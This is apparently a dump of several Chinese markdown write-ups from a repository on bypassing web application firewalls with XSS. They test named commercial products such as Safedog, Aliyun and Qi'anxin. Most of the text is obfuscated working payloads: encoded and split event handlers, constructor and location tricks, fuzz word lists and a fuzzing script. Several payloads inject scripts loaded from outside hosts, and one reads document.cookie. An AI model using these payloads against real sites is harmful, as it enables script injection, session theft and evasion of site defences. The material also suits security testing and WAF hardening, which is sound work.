122 | ![10](https://ws1.sinaimg.cn/large/005DAKuvgy1g1xom9zf77j30uj097mxz.jpg)
123 | 
124 | setTimeout()函数也是没问题的，毕竟也能执行代码。 
125 | ```html
126 | <details open ontoggle=top[a='meout',b='setTi',b%2ba]('\141\154\145\162\164\50\61\51')>
127 | ```
128 | 
129 | ## eval函数的补充
130 | - - -
131 | #### setTimeout
132 | 
133 | ![19](https://ws1.sinaimg.cn/large/005DAKuvgy1g1ycyd6jedj30no0adt90.jpg)
134 | 
135 | waf拦截
136 | ```html
137 | <svg/onload=setTimeout`alert(1)`>
138 | ```
139 | ![17](https://ws1.sinaimg.cn/large/005DAKuvgy1g1xy2v7lvnj30uj05d74p.jpg)
140 | 
141 | 编码下，就绕过了。
142 | ```html
143 | <svg/onload=setTimeout`alert\u0028233\u0029`>
144 | ```
145 | ![18](https://ws1.sinaimg.cn/large/005DAKuvgy1g1xy76ggesj30uj0813z5.jpg)
146 | 
147 | #### setInterval
148 | 
149 | 与`setInterval`不同，对于`setTimeout()`只执行code一次。
150 | 
151 | ![20](https://ws1.sinaimg.cn/large/005DAKuvgy1g1yczzsa24j30no0exwf8.jpg)
152 | 
153 | `<svg/onload=setInterval('al'%2b'ert(1)')>`
154 | 
155 | ![21](https://ws1.sinaimg.cn/large/005DAKuvgy1g1yd573lavj30uj09qwf9.jpg)
156 | 
157 | 绕过waf，引用外部js。
158 | ```html
159 | <svg/onload=setInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')>
160 | ```
161 | ![22](https://ws1.sinaimg.cn/large/005DAKuvgy1g1yd9dqh46j30uj0e4q4j.jpg)
162 | 
163 | #### 其他
164 | ```html
165 | 拆分与编码
166 | <svg/onload=\u0073etInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')>
167 | <svg/onload=\u0073etInterval(appendChild(createElement('sc\162ipt')).src='http://xx.xx/eeW')>
168 | <svg/onload=\u0073etInterval(appendChild(createElement('scr'%2b'ipt')).src='http://xx.xx/eeW')>
169 | <svg/onload=\u0073etInterval(\u0061ppendChild(\u0063reateElement('scr'%2b'ipt')).src='http://xx.xx/eeW')>
170 |  
171 | 结合函数：
172 | <iframe onload=s=createElement('script');body.appendChild(s);s.src=['http','://','xx.xx','/eeW'].join('') >
173 | <svg/onload=s=createElement('script');body.appendChild(s);s.src=['http']%2B['://']%2B['xx.xx']%2B['/eeW'].join('') >
174 | <svg/onload=s=\u0063reateElement('scr'%2b'ipt');\u0062ody.\u0061ppendChild(s);s.src='http://x'.concat('x.xx/','eeW'); >
175 | ```
176 | 
177 | ### 扩展
178 | - - -
179 | 
180 | 关于运用基于DOM的方法创建和插入节点把外部JS文件注入到网页，这种方法在<<XSS跨站脚本剖析与防御>>有介绍过。我这里简单演示下，如果你了解或者不感兴趣可以跳过这段。
181 | 
182 | 首先用createElement方法创建一个script标签。
183 | 
184 | ![23](https://ws1.sinaimg.cn/large/005DAKuvgy1g1ydpwjmafj30fh07jt8s.jpg)
185 | 
186 | 接下来给<script>的src属性设置成外部url
187 |  
188 | ![24](https://ws1.sinaimg.cn/large/005DAKuvgy1g1ydrl28mhj30fe0b1jrn.jpg)
189 | 
190 | 可以看到<script>标签以及src属性已经被创建出来，但是并不在页面上输出啊。
191 |  
192 | ![25](https://ws1.sinaimg.cn/large/005DAKuvgy1g1yf3ujkccj30fe0a174d.jpg)
193 | 
194 | 我们就要用到appendChild()方法将变量s插入页面。
195 | 
196 | ![26](https://ws1.sinaimg.cn/large/005DAKuvgy1g1yf6k40vgj30fg08gt93.jpg)
197 | 
198 | 再来看看页面上
199 | 
200 | ![27](https://ws1.sinaimg.cn/large/005DAKuvgy1g1yf7nce1dj30fe0620ss.jpg)
201 | 
202 | ### constructor属性
203 | - - -
204 | 
205 | ![28](https://ws1.sinaimg.cn/large/005DAKuvgy1g1yk1fdzqmj30fh07idfu.jpg)
206 | 
207 | 少年!Post到什么了没有。
208 | 
209 | ![29](https://ws1.sinaimg.cn/large/005DAKuvgy1g1yk4ibtegj30m3047weh.jpg)
210 | 
211 | 又是拆分。。注意后面的`()`
212 | 
213 | ```html
214 | <svg/onload=Set.constructor('al'%2b'ert(1)')()>
215 | ```
216 | ![30](https://ws1.sinaimg.cn/large/005DAKuvgy1g1yk7bt75gj30uj09a3z9.jpg)
217 | 
218 | 反引号我看行。。注意后面2个反引号。
219 | 
220 | ```html
221 | <svg/onload=Set.constructor`al\x65rt\x28/xss/\x29```>
222 | ```
223 | ![31](https://ws1.sinaimg.cn/large/005DAKuvgy1g1ykdta6tvj30uj0943z9.jpg)
224 | 
225 | 又来引用外部url。编码拆分以及结合函数，请参考上章= =，不然我怕有人说我水。。。
226 | 
227 | ![33](https://ws1.sinaimg.cn/large/005DAKuvgy1g1ykjq4xx5j30k00ha3z9.jpg)
228 | 
229 | ```html
230 | <svg/onload=Set.constructor(appendChild(createElement('script')).src='http://xx.xx/eeW')()>
231 | ```
232 | ![32](https://ws1.sinaimg.cn/large/005DAKuvgy1g1ykhi14qsj30uj0b63zz.jpg)
233 | 
234 | ### 补充(又是补充，你**就不能一次讲完嘛!写个文章还划水!)
235 | - - -
236 | 
237 | 咳咳，该补充的还是要补充的，除了 Set 对象还有嘛？当然有的。
238 | 
239 | ![33](https://ws1.sinaimg.cn/large/005DAKuvgy1g1ykvh8ot8j30ak08rwhp.jpg)
240 | 
241 | 看些例子，都可以弹窗。
242 | 
243 | ![34](https://ws1.sinaimg.cn/large/005DAKuvgy1g1yl20qvebj30sf09rgm2.jpg)
244 | 
245 | 来个简单拆分。
246 | 
247 | ![35](https://ws1.sinaimg.cn/large/005DAKuvgy1g1yl50p5ykj30uj09at9g.jpg)
248 |  
249 | 总结起来就是`Set.constructor` `Map.constructor` `clear.constructor` `Array.constructor` `WeakSet.constructor` `WeakMap.constructor`(注意区分大小写的)
250 | 
251 | ```
252 | <svg/onload=Set.constructor`al\x65rt\x28/xss/\x29```>
253 | <svg/onload=Map.constructor`al\x65rt\x28/xss/\x29```>
254 | <svg/onload=clear.constructor`al\x65rt\x28/xss/\x29```>
255 | <svg/onload=Array.constructor`al\x65rt\x28/xss/\x29```>
256 | <svg/onload=WeakSet.constructor`al\x65rt\x28/xss/\x29```>
257 | ```
258 | 
259 | 引用外部...
260 | 
261 | ![36](https://ws1.sinaimg.cn/large/005DAKuvgy1g1ylf0t8nsj306o06ojrl.jpg)
262 | 
263 | 感兴趣的同学可以关注：[Github项目](https://github.com/S9MF/Xss_Test/blob/master/waf/YunSuo.md)
264 | 
265 | ## 参考致谢
266 | 
267 | [vulnerability-lab.com](http://www.vulnerability-lab.com/resources/documents/531.txt)
268 | 
269 | [swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection)
270 | 
271 | 


--------------------------------------------------------------------------------
/waf/qianxin.md:
--------------------------------------------------------------------------------
  1 | ### 介绍
  2 | - - -
  3 | xxx网站卫士是xxx旗下为网站提供免费加速和防护的云服务平台。为站长免费提供了网站加速,智能高防DNS,防DDOS,防CC,防黑客和网站永久在线等服务，是百万站长的共同...
  4 | 
  5 | ### 前言
  6 | - - -
  7 | 本来不认识xxx网站卫士的，那天chabug群，有位师傅发了张图，他去云锁官网测试SQL绕过，结果发现云锁官网用了`qianxin-waf`
  8 | ![3.jpg](https://ae01.alicdn.com/kf/H68e5c883f9dc410daf4169a869d192f6Y.jpg)
  9 | 
 10 | ![1.png](https://ae01.alicdn.com/kf/Hae1a6b931c164611ac860e308dd5e44dQ.png)
 11 | 
 12 | ## 测试
 13 | - - -
 14 | 既然来了测试下，先从容易满足的点出发，我就假设有个参数`?xss=`后面不用考虑闭合之类的，毕竟实战遇到的点各有不同。
 15 | 
 16 | 首先来看个鸡肋而有趣的例子在推特看到的，作者`@sOmd3v @Ow4ys`
 17 | 
 18 | `<x oncopy=y=prompt,y``>z` `<x onpaste=y=prompt,y``>z`
 19 | 
 20 | ![4.png](https://ae01.alicdn.com/kf/Ua6a276b50d5040e586d9438d7fb2dfc3v.png)
 21 | 
 22 | `oncopy 事件`在用户拷贝元素上的内容时触发(反引号可以替换为括号)，所以触发的方法是按下 `CTRL + C`
 23 | 
 24 | `onpaste 事件`在用户向元素中粘贴文本时触发，所以触发的方法是按下 `CTRL + V`
 25 | 
 26 | ![5.png](https://ae01.alicdn.com/kf/Uf33f53f157c444b694f9eae7bedc5bd5Q.png)
 27 | 
 28 | 再来看一个`<x oncut=y=prompt,y``>z`这个例子触发是`CTRL + X`以上3个例子就是`复制粘贴剪切` ━━∑(￣□￣*|||━━
 29 | 
 30 | 比较实用的`onmouseover事件`被拦截了，还有onmousedown，onmouseup(这两个需点击字符z)...等on事件感兴趣可以自己查看手册测试
 31 | 
 32 | ![7.png](https://ae01.alicdn.com/kf/Uafa9f3e5e9654b3cb61d886f8c70b7afU.png)
 33 | 
 34 | ## 更多payload
 35 | - - -
 36 | 说实话，我在测这个waf时，过程很顺利，可能是我测过几个waf的原因，感觉对xss检测不是很严，可能是我测试的环境`太乐观了`，毕竟实战各种`鸡肋环境`，但是我发现对于HTML5新出的几个标签属性还是没过滤的，还有少数waf，on事件没过滤全，可能有些on事件属于比较鸡肋的原因。
 37 | 
 38 | Bypass payload:
 39 | ```
 40 | <details open ontoggle=[1].find(alert)>
 41 | <select autofocus onfocus=[2].find(alert)>
 42 | <input autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/1te">
 43 | ```
 44 | 
 45 | ## fuzz字典
 46 | - - -
 47 | 为什么我很快能得到Bypass payload呢，因为我自己有收集和构造属于自己的字典，下面我大概讲解下自己的思路。
 48 | 
 49 | ![10.png](https://ae01.alicdn.com/kf/Uf92464d4ceaa45c4b0d53711abdc76efp.png)
 50 | 
 51 | (一个xss的基本结构)
 52 | 
 53 | #### [TAG]标签
 54 | - - -
 55 | 标签方便也很简单，就多关注HTML新出了那些标签。
 56 | ```
 57 | a
 58 | abbr
 59 | acronym
 60 | address
 61 | applet
 62 | area
 63 | article
 64 | aside
 65 | audio
 66 | b
 67 | base
 68 | basefont
 69 | bdi
 70 | bdo
 71 | big
 72 | blockquote
 73 | body
 74 | br
 75 | button
 76 | canvas
 77 | caption
 78 | center
 79 | cite
 80 | code
 81 | col
 82 | colgroup
 83 | command
 84 | datalist
 85 | dd
 86 | del
 87 | details
 88 | dfn
 89 | dialog
 90 | dir
 91 | div
 92 | dl
 93 | dt
 94 | em
 95 | embed
 96 | fieldset
 97 | figcaption
 98 | figure
 99 | font
100 | footer
101 | form
102 | frame
103 | frameset
104 | h1 to h6
105 | head
106 | header
107 | hr
108 | html
109 | i
110 | iframe
111 | img
112 | input
113 | ins
114 | kbd
115 | keygen
116 | label
117 | legend
118 | li
119 | link
120 | map
121 | mark
122 | menu
123 | meta
124 | meter
125 | nav
126 | noframes
127 | noscript
128 | object
129 | ol
130 | optgroup
131 | option
132 | output
133 | p
134 | param
135 | pre
136 | progress
137 | q
138 | rp
139 | rt
140 | ruby
141 | s
142 | samp
143 | script
144 | section
145 | select
146 | small
147 | source
148 | span
149 | strike
150 | strong
151 | style
152 | sub
153 | summary
154 | sup
155 | table
156 | tbody
157 | td
158 | textarea
159 | tfoot
160 | th
161 | thead
162 | time
163 | title
164 | tr
165 | track
166 | tt
167 | u
168 | ul
169 | var
170 | video
171 | wbr
172 | ```
173 | 
174 | #### [EVENT]事件
175 | - - -
176 | on事件，可以自己去查查文档，都有作用，以及利用条件。
177 | ```
178 | onafterprint
179 | onbeforeprint
180 | onbeforeunload
181 | onerror
182 | onhaschange
183 | onload
184 | onmessage
185 | onoffline
186 | ononline
187 | onpagehide
188 | onpageshow
189 | onpopstate
190 | onredo
191 | onresize
192 | onstorage
193 | onundo
194 | onunload
195 | onblur
196 | onchange
197 | oncontextmenu
198 | onfocus
199 | onformchange
200 | onforminput
201 | oninput
202 | oninvalid
203 | onreset
204 | onselect
205 | onsubmit
206 | onkeydown
207 | onkeypress
208 | onkeyup
209 | onclick
210 | ondblclick
211 | ondrag
212 | ondragend
213 | ondragenter
214 | ondragleave
215 | ondragover
216 | ondragstart
217 | ondrop
218 | onmousedown
219 | onmousemove
220 | onmouseout
221 | onmouseover
222 | onmouseup
223 | onmousewheel
224 | onscroll
225 | onabort
226 | oncanplay
227 | oncanplaythrough
228 | ondurationchange
229 | onemptied
230 | onended
231 | onerror
232 | onloadeddata
233 | onloadedmetadata
234 | onloadstart
235 | onpause
236 | onplay
237 | onplaying
238 | onprogress
239 | onratechange
240 | onreadystatechange
241 | onseeked
242 | onseeking
243 | onstalled
244 | onsuspend
245 | ontimeupdate
246 | onvolumechange
247 | onwaiting
248 | ```
249 | #### [SAVE_PAYLOAD]可执行代码
250 | - - -
251 | 这个看自己收集和构造的，编码拆分组合拼接各种骚操作都可以。
252 | ```
253 | setTimeout`alert(1)`
254 | atob.constructor(atob`YWxlcnQoMSk=`)``
255 | Set.constructor`al\x65rt\x28/xss/\x29```
256 | top[alt%2blang]`0` alt=al lang=ert
257 | "a(this);function a()(alert(document.cookie))"
258 | "javascript:window.onerror=alert;throw 1"
259 | "javascript:window.onerror=prompt;throw 2"
260 | "\u006aavascript:\u0077indow.onerror=\u0070rompt;throw 3"
261 | "\u006aavascript:\u0077indow.\u006fndblclick=\u0070rompt;"
262 | "\u006aavascript:\u0077indow.\u006fnkeydown=\u0070rompt;"
263 | "\u006aavascript:\u0077indow.\u006fnkeypress=\u0070rompt;"
264 | "\u006aavascript:\u0077indow.\u006fnmousemove=\u0070rompt;"
265 | "\u006aavascript:\u0077indow.\u006fnkeyup=\u0070rompt;"
266 | location='javascript:/*'%2blocation.hash> #*/alert(1) 
267 | ....等
268 | ```
269 | 
270 | #### 构造payload
271 | - - -
272 | 有了上面的准备，我们可以构造出大量xss_payload。
273 | ![11.png](https://ae01.alicdn.com/kf/U10bdd4be267e44c99f795032ea6ec32af.png)
274 | 
275 | 也可以利用key师傅这个js脚本，优点很明显能直接弹框的，脚本自己修改下就行。
276 | ```
277 | var i,j,k,xss,f=0;
278 | var ons = ["onload","onerror"];
279 | var labs = ["a","b","q","br","dd","dl","dt","h1","del","abbr","video","base","audio","details"];
280 | var hexs= ["%09","%00","%0d","%0a"];
281 | for(i=0;i<labs.length;i++){
282 |     for(j=0;j<hexs.length;j++){
283 |         for(k=0;k<ons.length;k++){
284 |             xss = f+'<'+labs[i]+hexs[j]+ons[k]+"=alert("+f+") src=a>a";
285 |             var body = document.getElementsByTagName("body");
286 |             var div = document.createElement("div");
287 |             div.innerHTML = f+"<iframe src=\"http://127.0.0.1/index.php?fuzz="+xss+"\"></iframe>";
288 |             document.body.appendChild(div);
289 |             f = f+1;
290 |         }
291 |     }
292 | }
293 | ```
294 | 其他脚本可以去Github寻找，这样收集构造出属于自己的xss_payload.txt 测试时直接fuzz看结果，再根据结果进一步fuzz。
295 | 
296 | ## 后记
297 | - - -
298 | 大家平时可以去推特逛逛，HackerOne精彩xss文章等，收集扩展逐步完善自己的字典。
299 | 


--------------------------------------------------------------------------------
/waf/zhuji360.md:
--------------------------------------------------------------------------------
  1 | ### 前言
  2 | - - -
  3 | 360主机卫士是360旗下的服务器安全软件，为站长免费提供网站后门检测、木马查杀，网站补丁、漏洞防护等服务...
  4 | 
  5 | ![1](https://ae01.alicdn.com/kf/Uad2732ca0c4943088ca09f550ff5caccL.png)
  6 | 
  7 | (虽然软件几年前就停止更新，官网挂了，但是从当时的评论上看软件还是很不错的。)
  8 | 
  9 | ### 环境
 10 | - - -
 11 | 火狐
 12 | 
 13 | 360主机卫士Apache版
 14 | 
 15 | phpStudy2016(PHP-5.4.45+Apache)
 16 | 
 17 | 测试代码
 18 | ```
 19 | <?php   
 20 |   $input = @$_REQUEST["xss"];
 21 |   echo "<div>".$input."</div>"
 22 | ?>
 23 | ```
 24 | ### 测试
 25 | - - -
 26 | 习惯性的直接上 Burp 用平时收集的 payload fuzz 一遍，结果不怎么理想，能过的很鸡肋...然后我就去网上找资料，找到了一篇文章[xss加入某些字符即可过大多数waf的思路及一些思考](https://mp.weixin.qq.com/s/CCc12FWWJMRP4V6x0XXaoA)根据里面的思路可以绕过。
 27 | 
 28 | `<svg onload>` 拦截
 29 | 
 30 | `<svg > onload>`不拦截
 31 | 
 32 | 具体绕过就是先把 `>` html实体编码
 33 | 
 34 | ![2](https://ae01.alicdn.com/kf/Ue6dc8da4a8ac4497a96828e039c729574.png)
 35 | 
 36 | 将 `&#62` URL编码
 37 | 
 38 | ![3](https://ae01.alicdn.com/kf/U143681d1e9b64df0b67ebab674991c93N.png)
 39 | 
 40 | 大部分 `xss payload` 加上 `%26%2362` 即可绕过，但是类似 alert(1) 括号可能会被拦截 可以用反引号替换
 41 | ```
 42 | <svg %26%2362 onload=alert`1`>
 43 | ```
 44 | ![4](https://ae01.alicdn.com/kf/U3529497cee1f48e7b86ccedd924109a2B.png)
 45 | 
 46 | 给几个测试绕过的 `payload`
 47 | ```
 48 | <style  %26%2362 onload=alert`1`>
 49 | <img %26%2362 src=1  onerror=alert`1`>
 50 | <audio %26%2362 src=x  onerror=alert`1`>
 51 | <svg %26%2362 onload=appendChild(createElement('script')).src='//xs.ax/HfcB'>
 52 | ```
 53 | 
 54 | 该文章在最后说明此方法可以绕过多款waf，接下来我们来测试。
 55 | 
 56 | `云锁`：
 57 | 
 58 | ![5.png](https://ae01.alicdn.com/kf/Ua781c4541fce4d9287ddc4218025ee49L.png)
 59 | 
 60 | 绕过
 61 | ```
 62 | <svg %26%2362 onload=alert`1`>
 63 | ```
 64 | 
 65 | `奇安信CDN`：
 66 | 
 67 | 拦截
 68 | ```
 69 | <svg %26%2362 onload=alert`1`>
 70 | ```
 71 | ![7.png](https://ae01.alicdn.com/kf/Ua119486efcd94f83881e7135b9aa13daX.png)
 72 | 
 73 | 绕过方法(使用HTML5新标签)
 74 | 
 75 | `<select autofocus onfocus=[2].find(alert)>`
 76 | 
 77 | `安全狗`：
 78 | 
 79 | 绕过
 80 | ![8.png](https://ae01.alicdn.com/kf/U75a996f4667944d2895372a9eb417a07U.png)
 81 | 
 82 | `阿里云`：
 83 | 
 84 | 拦截
 85 | ![9.png](https://ae01.alicdn.com/kf/U59c6226bba53437a9ee15b9d3e5f70e1w.png)
 86 | 
 87 | 绕过方法(这个百度下就有)
 88 | ```
 89 | <img src=# onerror=alert`2`>
 90 | <input onfocus="document.body.appendChild(createElement('script')).src='//xss.xx/B6Bb'" autofocus>
 91 | ```
 92 | 
 93 | ![10.png](https://ae01.alicdn.com/kf/U3d07d821e85a4a028b8eb360e7c78a04X.png)
 94 | 
 95 | `百度云加速`：
 96 | 
 97 | 绕过
 98 | ![11.png](https://ae01.alicdn.com/kf/Ufe4b45196d59424c930e54b49efa091aK.png)
 99 | 
100 | ### 小结
101 | 此次利用 `>` 字符的编码绕过的姿势，再到其他 waf 测试到此结束，至于其他特殊字符是否也有绕过，感兴趣的可以研究下，如有错误之处，请师傅指正。
102 | 
103 | ### 参考
104 | [xss加入某些字符即可过大多数waf的思路及一些思考](https://mp.weixin.qq.com/s/CCc12FWWJMRP4V6x0XXaoA)
105 | 


--------------------------------------------------------------------------------
/waf/补充(2).md:
--------------------------------------------------------------------------------
  1 | ### 前言
  2 | - - -
  3 | 这篇文章，主要是补充一些其他的。
  4 | 
  5 | ### “圆括号”
  6 | - - -
  7 | 假设过滤了`()`，怎么进行弹框呢?如果仅仅只考虑这点，可执行payload还满多的。
  8 | 
  9 | 最简单的，用反引号代替圆括号。
 10 | 
 11 | ```html
 12 | <img src=x onerror=alert`1`>
 13 | ```
 14 | 
 15 | 引入伪协议，以及location，然后进行编码拆分。
 16 | 
 17 | `<img src=1 onerror=alert%28%29>`
 18 | 
 19 | `<img src=1 onerror=location="javascript:"+"aler"+"t%281%29">`
 20 | 
 21 | 这里引用[P牛](https://www.leavesongs.com/PENETRATION/use-location-xss-bypass.html)文章的过滤代码，利用这个代码来测试学习。
 22 | 
 23 | ```php
 24 | <?php
 25 | header('X-XSS-Protection: 0');
 26 | $xss = isset($_GET['xss'])?$_GET['xss']:'';
 27 | $xss = str_replace(array("(",")","&","\\","<",">","'","`"), '', $xss);
 28 | echo "<img src=\"{$xss}\">";
 29 | ?>
 30 | ```
 31 | 
 32 | 我还特地过滤了反引号，不然用反引号代替括号直接弹。
 33 | 
 34 | 来个好玩的例子，这个例子来自`XSS挑战第一期Writeup`的一个payload。
 35 | 
 36 | ![1.jpg](https://i.loli.net/2019/04/28/5cc51dc7df19c.jpg)
 37 | 
 38 | 我们既然不能用`()`，很多人第一思路肯定是url编码`()`，url编码为`%28%29`，而上面那个例子，通过赋值变量a等于字符串`"%2"`，巧妙通过+拼接字符串`(1)`。
 39 | 
 40 | 成功弹窗。
 41 | 
 42 | ![2.jpg](https://i.loli.net/2019/04/28/5cc51dfd50420.jpg)
 43 | 
 44 | #### Throw 
 45 | - - -
 46 | 
 47 | 除了上面拼接编码的操作外，我们不得不提到`thorw`，在文档`“Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters”`中在提到了一个很有趣的话题。那就是在圆括号被过滤的情况下,如何去执行javascript，文中给出的答案是。
 48 | ```
 49 | <a onmouseover="javascript:window.onerror=alert;throw 1>
 50 | ```
 51 | `throw`语句用来抛出一个用户自定义的异常，而使用`onerror`来捕获异常，来完成弹窗这个操作。
 52 | 
 53 | 看个例子：
 54 | 
 55 | ![3.jpg](https://i.loli.net/2019/04/28/5cc51e227db21.jpg)
 56 | 
 57 | 伪协议执行，`onerror`捕获的异常，成功弹框。
 58 | 
 59 | ![4.jpg](https://i.loli.net/2019/04/28/5cc51e39b4366.jpg)
 60 | 
 61 | 将`top`赋值给`_`，所以后面2个`_`等价于`top`，除了`top`，还可以用`self parent frames content window`其中一个代替。
 62 | 
 63 | ![5.jpg](https://i.loli.net/2019/04/28/5cc51e55ed23e.jpg)
 64 | 
 65 | 弹框。
 66 | 
 67 | ![6](https://i.loli.net/2019/04/28/5cc5251d06004.jpg)
 68 | 
 69 | 这里引用了 `IE8/IE9 filter` 的一个技巧(`%00`)。
 70 | 
 71 | ![7](https://i.loli.net/2019/04/28/5cc525511d53c.jpg)
 72 | 
 73 | 在IE下会弹出一个错误。
 74 | 
 75 | ![8](https://i.loli.net/2019/04/28/5cc52599759cc.jpg)
 76 | 
 77 | #### location
 78 | - - -
 79 | 这段会介绍，利用`lacation对象`属性相关的利用，先来上张图。
 80 | 
 81 | ![9](http://img.mukewang.com/53605c5a0001b26909900216.jpg)
 82 | 
 83 | 这张图，清晰的展示了，`lacation对象`不同的属性在网页url中的体现。
 84 | 
 85 | 这里我要介绍的是`location.search`。
 86 | 
 87 | ![10](https://i.loli.net/2019/04/28/5cc525e6ca47e.jpg)
 88 | 
 89 | 查看上面的文档，`location.search`设置或返回当前 URL 的查询部分即问号`?`之后的部分，如果你不太理解，那我们来看个小例子下。
 90 | 
 91 | 假设我们现在的网页url为`http://localhost/1.html?id=s9mf#Test`。那么在控制台输出`location.search`，返回结果会是怎样呢?
 92 | 
 93 | ![11](https://i.loli.net/2019/04/28/5cc52601878c3.jpg)
 94 | 
 95 | 返回结果为`?id=s9mf`，即以`?`之后部分，而`#`之后部分属于`location`对象的`hash属性`所控制，所以不会在控制台显示。
 96 | 
 97 | `location.search`可以用`数组键名索引`的方式来访问设置的`?`之后的部分。
 98 | 
 99 | ![12](https://i.loli.net/2019/04/28/5cc526222e23e.jpg)
100 | 
101 | 利用上述特性，把`(1)`放在url查询部分，定义a变量赋值为`location.search`，再用`location.search`以数组键名索引的方式取回来`(1)`。
102 | 
103 | ![13](https://i.loli.net/2019/04/28/5cc5264d65db1.jpg)
104 | 
105 | 成功弹框
106 | 
107 | ![14](https://i.loli.net/2019/04/28/5cc52661482e5.jpg)
108 | 
109 | 利用注释和location.hash，把alert(233)放在#后面，再调用回来。
110 | 
111 | ![15](https://i.loli.net/2019/04/28/5cc5267504717.jpg)
112 | 
113 | 弹框~
114 | 
115 | ![16](https://i.loli.net/2019/04/28/5cc5268c7eaeb.jpg)
116 | 
117 | eval执行，IE下报错弹框
118 | 
119 | ![17](https://i.loli.net/2019/04/28/5cc526a485e75.jpg)
120 | 
121 | duang~
122 | 
123 | ![18](https://i.loli.net/2019/04/28/5cc526ba41848.jpg)
124 | 
125 | ### This
126 | - - -
127 | 在介绍this前，我们需要把前面的测试代码修改下，使其在<input>标签内。
128 |   
129 | ```
130 | <?php
131 | header('X-XSS-Protection: 0');
132 | $xss = isset($_GET['xss'])?$_GET['xss']:'';
133 | $xss = str_replace(array("(",")","&","\\","<",">","'","`"), '', $xss);
134 | echo "<input value=\"$xss\">";  
135 | ?>
136 | ```
137 | 还是和以前的过滤条件。
138 | 
139 | `this` 总是返回一个对象，简单说，就是返回属性或方法“当前”所在的对象。
140 | 
141 | `alert`后面跟着的是url编码的`()`，name被赋值，`this.name`返回一个对象，用`onfocus`事件在对象获得焦点时发生。
142 | 
143 | ![19](https://i.loli.net/2019/04/28/5cc526dbc7ea6.jpg)
144 | 
145 | duang~
146 | 
147 | ![20](https://i.loli.net/2019/04/28/5cc526f509219.jpg)
148 | 
149 | this结合函数`<svg onload="a(this);function a()(alert(1))">`。
150 | 
151 | ### 参考
152 | * https://www.secpulse.com/archives/47696.html
153 | * http://www.anquan.us/static/drops/papers-894.html
154 | 
155 | 
156 | 
157 | 
158 | 
159 | 


--------------------------------------------------------------------------------
/waf/补充.md:
--------------------------------------------------------------------------------
  1 | ### 前言 
  2 | - - -
  3 | 近日在看些xss相关的知识，在乌云知识库上，有篇`XSS挑战第一期Writeup`里面姿势很多，能力不足，有些无法复现，就把自己觉得好玩的写下来。
  4 | 
  5 | ### location
  6 | - - -
  7 | `Location对象`对于我们构造一些另类的`xss payload`有很大的帮助，例如P牛这篇文章介绍的使用编码[利用location来变形我们的XSS Payload](https://www.leavesongs.com/PENETRATION/use-location-xss-bypass.html)
  8 | 
  9 | ![2](https://ws1.sinaimg.cn/large/005DAKuvgy1g23p2vbp4vj30nh0bet9c.jpg)
 10 | 
 11 | ### Location
 12 | - - -
 13 | 在介绍Location的属性前，我们先来了解下`slice()`方法。
 14 | 
 15 | slice() 方法可从已有的字符串中返回选定的元素。
 16 | 
 17 | ![3](https://ws1.sinaimg.cn/large/005DAKuvgy1g23padlh4ij30fd06h74x.jpg)
 18 | 
 19 | #### location.hash
 20 | - - -
 21 | 查阅文档。
 22 | ![4](https://ws1.sinaimg.cn/large/005DAKuvgy1g23petooh6j30ex07r0t4.jpg)
 23 | 
 24 | 我们关注的重点是`#`的作用，`location`对象的`hash`属性用于设置或取得 URL 中的锚部分。
 25 | 
 26 | 例如我们现在的网址为`http://localhost/1.html#s9mf`，我们在控制台输入`location.hash`，则会返回我们设定的`锚`。
 27 | ![5](https://ws1.sinaimg.cn/large/005DAKuvgy1g23poowv99j30fg04daa2.jpg)
 28 | 
 29 | 利用这个特性，在构造xss代码时，可以把一部分`payload`，放置在测试语句的尾部。
 30 | 
 31 | 例子：
 32 | 
 33 | ```html
 34 | <body/onload=eval(location.hash.slice(1))>#alert(1)
 35 | ```
 36 | 
 37 | 这里用`eval`执行通过`location.hash`获取过来的`alert(1)`代码，`slice`方法在这里的作用是截取下标为1以后的字符串元素(包括1)。如果你还是不太理解，那么我们用`document.write`输出到页面。
 38 | 
 39 | ![6](https://ws1.sinaimg.cn/large/005DAKuvgy1g23q6cv3spj30vn04xjrs.jpg)
 40 | 
 41 | 可见，slice方法在这里返回的字符串为`alert(1)`，`substr`方法在这里也可以代替`slice`使用。
 42 | 
 43 | ```
 44 | <body/onload=setTimeout(location.hash.substr(1))()>#alert(1)
 45 | ```
 46 | 这里使用的setTimeout，也可以使用`constructor`属性来执行代码，不过要记住加个`()`。
 47 | 
 48 | `Set.constructor(location.hash.substr(1))()` 
 49 | 
 50 | ![7](https://ws1.sinaimg.cn/large/005DAKuvgy1g23qiigyv6j30vn0al3zc.jpg)
 51 | 
 52 | 也可以使用`execScript`，不过`execScript`是IE浏览器独有，所以只能在`IE`弹，相比较下`eval`则是所有浏览器都支持。
 53 | 
 54 | ```
 55 | <body/onload=execScript(location.hash.substr(1))>#alert(1)
 56 | ```
 57 | 
 58 | ![8](https://ws1.sinaimg.cn/large/005DAKuvgy1g23qt0ghxvj30qn07aglr.jpg)
 59 | 
 60 | 使用`Function`匿名函数来执行尾部的代码。
 61 | 
 62 | ```
 63 | <body/onload=Function(location.hash.slice(1))()>#alert(/xss/)
 64 | ```
 65 | 
 66 | ![9](https://ws1.sinaimg.cn/large/005DAKuvgy1g24dcxlrytj30vn0al754.jpg)
 67 | 
 68 | 利用`伪协议`。
 69 | 
 70 | ```
 71 | <body/onload=eval(location.hash.slice(1))>#javascript:alert(1)
 72 | ```
 73 | 
 74 | 利用注释，引用伪协议后开始变得有趣。
 75 | 
 76 | ```
 77 | <svg/onload=location='javascript:/*'%2blocation.hash> #*/alert(1) 
 78 | ```
 79 | 
 80 | 更进一步。
 81 | 
 82 | ```
 83 | <svg/onload=location="javascript:"%2binnerHTML%2blocation.hash>"  #"-alert(1)
 84 | ```
 85 | 
 86 | ![10](https://ws1.sinaimg.cn/large/005DAKuvgy1g288vx8t6xj30vn0anwfc.jpg)
 87 | 
 88 | #### unescape()
 89 | - - -
 90 | `unescape()`函数用于对已经使用`escape()`函数编码的字符串进行解码，并返回解码后的字符串。
 91 | 
 92 | 我们引入外部`url`时，如果拦截`//`，我们可以先url编码，再解码。
 93 | ![11](https://ws1.sinaimg.cn/large/005DAKuvgy1g29glrk8pzj30fg05x0sv.jpg)
 94 | 
 95 | 例如：
 96 | ```
 97 | <svg/onload=appendChild(createElement('script')).src=unescape('http%3A%2F%2Fxss.tt%2F1te')>
 98 | ```
 99 | 
